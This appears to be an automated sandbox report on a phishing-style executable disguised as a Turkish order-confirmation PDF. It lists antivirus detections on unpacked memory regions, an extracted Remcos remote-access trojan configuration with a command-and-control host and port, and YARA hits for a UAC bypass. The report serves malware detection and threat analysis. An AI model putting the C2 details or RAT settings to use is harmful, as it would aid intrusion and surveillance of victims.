Source: 8.3.Eluiezilfw.exe.3ac4ae4.72.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3addbec.68.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac2d80.40.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3acd700.52.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad46cc.95.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3966c84.102.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 14.2.logagent.exe.1054198f.2.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 8.3.Eluiezilfw.exe.3ad3e08.77.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3adf8dc.46.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac0024.15.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ae2814.97.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac8560.26.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac1b54.29.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396dc40.54.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac5ee4.92.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396d700.50.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396bbdc.14.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396c6a8.43.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397f8dc.46.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3982814.99.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3acdc40.55.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 15.0.DpiScaling.exe.10540000.1.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 13.3.Eluiezilfw.exe.3ac4ae4.72.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39717a0.66.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3973e08.78.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3abe240.7.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3960168.20.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3adf8dc.46.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac7bf0.16.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396a22c.30.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3add83c.73.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3971194.72.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3acc6a8.41.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3966924.76.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac1b54.31.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3965ee4.90.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad1194.73.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad4008.91.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad28f8.35.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39728f8.35.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ae2814.99.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396413c.61.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 15.2.DpiScaling.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3966924.77.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39794ec.80.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac803c.108.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.395844c.5.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.2.Eluiezilfw.exe.22a33e8.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396413c.59.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad8008.105.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.2.Eluiezilfw.exe.10540000.8.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.395e4d0.11.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3addbec.69.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad9a8c.88.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.2.Eluiezilfw.exe.2264588.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397dbec.67.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39754e0.103.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad3e08.77.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396d700.52.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3964008.57.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3968560.28.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac7bf0.17.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac6c84.100.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac6c84.102.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3aca22c.33.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac00d8.19.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac2dac.51.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3acff08.24.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad3950.86.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3975fb8.44.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3acff08.24.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac6c84.101.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac6588.94.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3967bf0.16.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac413c.59.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3adafd8.37.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3975fb8.42.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac3034.53.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac6924.76.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396ff08.23.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.2.Eluiezilfw.exe.3168bd8.4.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3973950.87.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3abdda4.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3abdda4.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3964578.12.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3abe4d0.11.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3965ecc.86.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396704c.4.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3961b54.31.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac8008.22.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 15.2.DpiScaling.exe.10540000.1.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 8.3.Eluiezilfw.exe.3ac00d8.18.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac03a8.27.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3973e08.79.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac413c.60.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39603a8.26.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397d83c.74.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3971194.73.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac6c84.100.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3abe240.7.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac2dac.49.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ae4008.38.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad46cc.98.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad17a0.67.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac52c8.9.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3acc008.5.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac0168.22.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac4578.10.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad28f8.32.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac26fc.0.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3963034.55.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3962dac.49.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3979a8c.88.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac4ae4.70.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39626fc.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad3e08.79.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac4008.58.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3966588.95.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.2.Eluiezilfw.exe.232a7c8.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396a22c.33.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac6d08.104.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ae4008.36.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3aca22c.31.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3adafd8.34.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 3.0.logagent.exe.10540000.0.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 8.3.Eluiezilfw.exe.3ad8008.107.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397f8dc.45.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac6d08.104.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac704c.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad9a8c.89.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397bf00.63.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac3034.53.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac03a8.25.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39600d8.19.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3acbbdc.13.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad1194.71.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac4ae4.70.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac4348.65.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad4008.93.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.23635e8.1.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac704c.4.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac4008.57.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3968560.27.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.2.Eluiezilfw.exe.3ab844c.5.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac5ee4.90.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad17a0.67.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac6588.96.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad54e0.101.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3adf8dc.45.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3963034.53.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3acdc40.56.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3978008.106.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad3950.87.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac5ecc.85.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac0024.15.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac8560.28.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3acc008.5.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad17a0.65.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39746cc.98.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad46cc.96.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39652c8.9.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 3.2.logagent.exe.10540000.1.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 8.3.Eluiezilfw.exe.3ac5ecc.84.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.397d83c.75.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ae2814.97.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3acdc40.56.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad5fb8.44.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396217c.47.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 14.2.logagent.exe.400000.0.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 15.0.DpiScaling.exe.10540000.0.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 13.3.Eluiezilfw.exe.3ac5ee4.92.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396ff08.24.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3967bf0.17.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3960024.15.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.396803c.108.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.22ea9c8.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3acd700.50.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad5fb8.42.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3addbec.68.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.2.Eluiezilfw.exe.3ab844c.5.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac4348.64.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac4008.57.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 15.2.DpiScaling.exe.1054198f.2.unpack	Avira: Label: BDS/Backdoor.Gen
Source: 13.3.Eluiezilfw.exe.3ac704c.3.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac413c.60.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.2.Eluiezilfw.exe.222a7c8.2.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac5ee4.90.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac6588.94.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad1194.71.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad3950.87.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac4348.66.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac6588.95.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3979a8c.89.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ae4008.38.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3974008.93.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad8008.107.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39652c8.7.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39794ec.82.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ad3950.85.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad28f8.35.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3965ecc.84.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad1194.74.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3adafd8.37.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad9a8c.89.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3aca22c.33.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ae2814.99.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac4008.58.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3973950.85.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 15.0.DpiScaling.exe.10540000.2.unpack	Avira: Label: TR/Crypt.Morphine.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3964008.58.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac5ecc.86.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3982814.97.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac2d80.40.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac217c.48.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3038bd8.4.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac4578.10.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 13.3.Eluiezilfw.exe.3ac6924.78.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3adbf00.62.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac6924.78.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac8560.28.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3abe4d0.11.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3964348.64.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ac3034.54.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3964348.65.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3964ae4.71.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 0.3.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3968008.21.unpack	Avira: Label: TR/Patched.Ren.Gen
Source: 8.3.Eluiezilfw.exe.3ad94ec.82.unpack	Avira: Label: TR/Patched.Ren.Gen

Source: 0000000F.00000002.359362662.0000000004C00000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Remcos {"Host:Port:Password": "Pw`~hustlelord.ddns.net:5017:", "Assigned name": "BIG", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Disable", "Install path": "AppData", "Copy file": "remcos.exe", "Startup value": "Remcos", "Hide file": "Disable", "Mutex": "Remcos-MZPAVR", "Keylog flag": "0", "Keylog path": "AppData", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "wikipedia;solitaire;", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio path": "AppData", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos", "Keylog file max size": "10000"}

Exploits

Yara detected UAC Bypass using ComputerDefaults

Source: Yara match	File source: 0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.3ad0000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.Eluiezilfw.exe.3b0c37c.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Eluiezilfw.exe.3b0c37c.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.395844c.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.Eluiezilfw.exe.3ab844c.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Eluiezilfw.exe.3c30000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe.39ac37c.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.Eluiezilfw.exe.3ab844c.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.Eluiezilfw.exe.3c30000.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.348456214.0000000003C4C000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
